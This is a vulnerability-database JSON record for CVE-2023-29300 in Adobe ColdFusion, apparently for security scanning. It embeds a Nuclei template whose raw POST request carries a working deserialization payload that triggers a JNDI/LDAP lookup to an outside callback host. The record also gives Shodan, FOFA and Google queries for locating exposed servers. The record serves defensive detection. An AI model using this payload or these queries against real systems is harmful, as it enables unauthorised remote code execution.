{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-29300/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-29300/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-29300/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-29300/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-29300/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-29300"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-29300"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-29300.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-29300\n\ninfo:\n  name: Adobe ColdFusion - Pre-Auth Remote Code Execution\n  author: rootxharsh,iamnoooob,pdresearch\n  severity: critical\n  description: |\n    Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to Adobe ColdFusion version 2023.0.0.328155 or later to mitigate this vulnerability.\n  reference:\n    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/\n    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html\n    - https://github.com/Ostorlab/KEV\n    - https://github.com/Threekiii/Vulhub-Reproduce\n    - https://github.com/XRSec/AWVS-Update\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-29300\n    cwe-id: CWE-502\n    epss-score: 0.99991\n    epss-percentile: 0.99985\n    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - app=\"Adobe-ColdFusion\"\n      - app=\"adobe-coldfusion\"\n      - title=\"coldfusion administrator login\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev,vkev,vuln\nvariables:\n  callback: \"{{interactsh-url}}\"\n  jndi: \"ldap%3a//{{callback}}/rcrzfd\"\n\nhttp:\n  - raw:\n      - |\n        POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, \"dns\")\n          - contains(body, \"ColdFusion documentation\")\n        condition: and\n# digest: 4a0a00473045022100a479c836ca608fb80ef3e5afcee9b3ac87e8944cf231296cbda4da314840bd3402200565e7a3535616f8bb34f1d2a9752acee903a872f86a9d291026393831dca4be:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-29300"
}